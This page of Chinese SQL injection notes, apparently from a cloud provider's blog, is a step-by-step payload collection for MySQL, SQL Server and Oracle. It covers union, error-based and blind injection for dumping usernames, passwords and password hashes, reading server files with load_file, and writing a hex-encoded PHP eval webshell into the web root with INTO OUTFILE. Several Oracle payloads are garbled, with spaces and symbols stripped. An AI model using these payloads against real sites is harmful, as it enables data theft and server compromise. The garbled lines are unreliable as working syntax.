sql注入笔记

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
简介: sql注入笔记

SQL 注入分类方式:

提交方式:GET POST COOKIE

参数注入:数字型/字符型/搜索型

数据库类型:ACCESS/Mysql/MSSQL/Oracle

手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)

0x01 Mysql

Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0

1.1 root权限

load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径

判断是否具有读写权限

and (select count(*) from mysql.user)>0#
and (select count(file_priv) from mysql.user)>#

注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”

id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)

可以用来读取数据库连接文件获取数据连接账号、密码等

?id=1'and 1=2 union select 1,load_file('D:\wamp\www\111.php')%23
id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23
B、into outfile函数

条件:1. 绝对路径 2.可以使用单引号

?id=1 union select 1,"",3 into outfile 'E:/study/WWW/evil.php'
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s
tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

1.2 MySQL联合查询

1.2.1 适用于mysql低于5.0版本

1.判断是否可以注入

?id=1 and 1=1,页面正常
?id=1 and 1=2,页面空白

2.获得字段数

order by的方法来判断,比如:
?id=1 order by 4 页面显示正常
?id=1 order by 5 页面出错,说明字段数等于4

3.获得显示位

?id=1 and 1=2 union select 1,2,3,4
//比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。

4.猜表名

猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:

?id=1 and 1=2 union select 1,2,3,4 from users

这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。

5.猜字段

使用:Concat(字段名)替换显示位的位置。

?id=1 and 1=2 union select 1,2,3,concat(username,password) from users

1.2.2 适用于Mysql 5.0以上版本支持查表查列

1.先判断是否可以注入

and+1=1,页面正常
and+1=2,页面空白

2.获得字段数:使用order by

提交:

?id=1 order by 4 正确。
?id=1 order by 5 错误。

那么,判断出字段数为4。

3.获得显示位

提交:?id=1 +and+1=2+union+select+1,2,3,4

显示位为:2,3,4

4.获取信息

?id=1 +and+1=2+union+select+1,2,3,version()

database() 
user()  
version() 
database()  
@@basedir  数据库安装路径
@@datadir  数据库路径

5.查表

?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--

得到表:test

6.查字段

?id=1 and 1=2 union select 1,2,3,column_name from
information_schema.columns where table_name=0x74657374 limit 0,1--

得到字段:id,username,password

7.爆字段内容

?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test

1.3 MySQL报错注入

mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

多种报错注入方式:

and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
and (select count() from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)2)));
and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
and 1=(updatexml(1,concat(0x3a,(select user())),1))
and GeometryCollection((selectfrom(selectfrom(select @@version)f)x))
and polygon((select*from(select name_const(version(),1))x))
and linestring((select * from(select * from(select user())a)b))
and multilinestring((select * from(select * from(select version())a)b));
and multipoint((select * from(select * from(select user())a)b));
and multipolygon((select * from(select * from(select user())a)b));
and exp(~(select * from(select version())a));

1.4 MySQL盲注

基于布尔型注入

id=1 and (select length(user()))=20 # 返回正常页面 长度20位
id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
//截取username第一个数据的ascii值

基于时间型注入

1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')
0x02 SQLServer

SA权限:数据库操作,文件管理,命令执行,注册表读取等

Db权限:文件管理,数据库操作等

Public权限:数据库操作

2.1 SQLServer 联合查询

1.判断是否存在注入

?id=1 and 1=1-- 返回正确
?id=1 and 1=2-- 返回错误

2.获取字段数

?id=1 order by 2-- 返回正确页面
?id=1 order by 3-- 返回错误页面 字段长度为2

3.查看数据库版本

?id=1 and 1=2 union select db_name(),null //获得当前数据库

4.查看表名

?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')

5.查看列名

?id=1 and 1=2 union select top 1 column_name ,2 from information_schema.columns where table_name ='users' and column_name not in ('uname')

6.获取数据

?id=1 and 1=2 union select top 1 uname,null from users

2.2 SQLServer 报错注入

1.获取表名

?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )--

2.获取列名

?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --

3.获取数据

?id=4' and 1=(select top 1 pwd from admin) --

4.获取数据库信息

?id=1' and 1=(select @@version)-- //SQL Server 2000
?id=1' and 1=(select db_name()) //当前使用的数据库

2.3 SQLServer 盲注

1、猜表名

?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7
?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码
?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值

得到表名,进一步猜解字段

2、猜字段

id=1 and
(select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1
//获取users表第一个字段的ASCII值
id=1 and
(select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --
//获取user表第二个字段的第一位ASCII值

3、猜数据

id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 --
//获取users表中uname字段的第一位ASCII值
0x03 Oracle

3.1 联合查询

Union select null,null,null 从第一个null开始加’null’,得到显示位
Union select null,null,null from dual 返回正确,存在dual表
Union Select tablespace_name from user_tablespaces //查库
Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表
Union Select column_name from user_tab_columns where table_name=’users’ //查列
?id=1 order by 1-- //获取字段数
and+1=1+union+all+select+(SELECT banner FROM vversionwhererownum=1)+from+dual−−//获取数据库版本and+1=1+union+all+select+(selectuserfromdualwhererownum=1)+from+dual−−//获取当前连接数据库的用户名union+all+select+(selectpasswordfromsys.user where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码
union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名
and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名

3.2 手工显错注入

最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限

//判断是否是oracle
?id=1 and exists(select * from dual)--
//获取库名
?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM vdatabase))—−//获取数据库服务器所在ip?id=1and1=ctxsys.drithsx.sn(1,(selectUTLINADDR.gethostaddressfromdualwhererownum=1))−−?id=1and1=CTXSYS.CTXQUERY.CHKXPATH((selectbannerfromvversion where rownum=1),'a','b')--
?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

3.3 盲注

基于布尔类型的盲注:

?id=7782' and length((SELECT name FROM vdatabase))=4−−获取数据库名长度?id=7782′andascii(substr((SELECTnameFROMvdatabase),1,1))=79--

获取数据库名第一位为O

基于时间延迟的盲注:

?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM vdatabase),1,1))=79)THEN1ELSE2END)−−?id=7782′AND1=(CASEWHEN(ascii(substr((SELECTnameFROMvdatabase),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
11天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
40 5
|
13天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
40 5
|
11天前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
57 1
|
11天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
26 1
|
14天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
27 3
|
21天前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
45 6
|
21天前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
16 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
【7月更文挑战第27天】在 Web 开发中,Python 面临着如 SQL 注入、XSS 和 CSRF 等安全威胁。
62 0
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
51 0
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【7月更文挑战第27天】在 Web 开发中,安全漏洞如同暗礁,其中 SQL 注入、XSS 和 CSRF 尤为棘手。本文通过实战案例展示如何使用 Python 抵御这些威胁。
59 0
下一篇
无影云桌面